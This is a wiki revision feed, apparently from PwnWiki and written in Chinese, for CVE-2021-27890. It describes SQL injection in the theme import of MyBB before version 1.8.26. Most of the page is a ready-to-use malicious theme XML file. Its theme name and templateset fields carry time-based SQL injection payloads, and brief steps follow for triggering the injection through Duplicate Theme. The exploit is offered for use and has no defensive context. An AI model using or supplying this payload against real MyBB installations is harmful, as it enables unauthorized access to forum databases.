https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-27890_MyBB%E5%BE%8C%E5%8F%B0%E8%AB%96%E5%A3%87%E4%B8%BB%E9%A1%8C%E7%AE%A1%E7%90%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fzh-tw 2026-04-07T22:18:24Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2021-27890_MyBB%E5%BE%8C%E5%8F%B0%E8%AB%96%E5%A3%87%E4%B8%BB%E9%A1%8C%E7%AE%A1%E7%90%86SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/zh-tw&diff=5821&oldid=prev 2021-06-24T02:15:06Z

<p>Created page with &quot;在後台主題管理處導入構造的惡意xml&quot;</p> <p><b>New page</b></p><div>&lt;languages /&gt;<br /> ==影響版本==<br /> <br /> &lt;pre&gt;<br /> &lt; 1.8.26<br /> &lt;/pre&gt;<br /> <br /> <br /> ==漏洞利用==<br /> <br /> 在後台主題管理處導入構造的惡意xml<br /> <br /> &lt;pre&gt;<br /> &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br /> &lt;theme name=&quot;1' and sleep(10) and '&quot; version=&quot;1825&quot;&gt;<br /> &lt;properties&gt;<br /> &lt;templateset&gt;-2' or sleep(0.01) or '&lt;/templateset&gt;<br /> &lt;editortheme&gt;&lt;![CDATA[mybb.css]]&gt;&lt;/editortheme&gt;<br /> &lt;imgdir&gt;&lt;![CDATA[images]]&gt;&lt;/imgdir&gt;<br /> &lt;logo&gt;&lt;![CDATA[images/logo.png]]&gt;&lt;/logo&gt;<br /> &lt;tablespace&gt;&lt;![CDATA[5]]&gt;&lt;/tablespace&gt;<br /> &lt;borderwidth&gt;&lt;![CDATA[0]]&gt;&lt;/borderwidth&gt;<br /> &lt;color&gt;&lt;![CDATA[]]&gt;&lt;/color&gt;<br /> &lt;disporder&gt;&lt;![CDATA[a:7:{s:10:&quot;global.css&quot;;i:1;s:10:&quot;usercp.css&quot;;i:2;s:9:&quot;modcp.css&quot;;i:3;s:16:&quot;star_ratings.css&quot;;i:4;s:14:&quot;showthread.css&quot;;i:5;s:17:&quot;thread_status.css&quot;;i:6;s:8:&quot;css3.css&quot;;i:7;}]]&gt;&lt;/disporder&gt;<br /> &lt;/properties&gt;<br /> &lt;stylesheets&gt;<br /> &lt;/stylesheets&gt;<br /> &lt;templates&gt;<br /> &lt;/templates&gt;<br /> &lt;/theme&gt;<br /> &lt;/pre&gt;<br /> <br /> 點擊Duplicate Theme,抓包，成功延时注入（導出主題也會存在該注入）</div>

Pwnwiki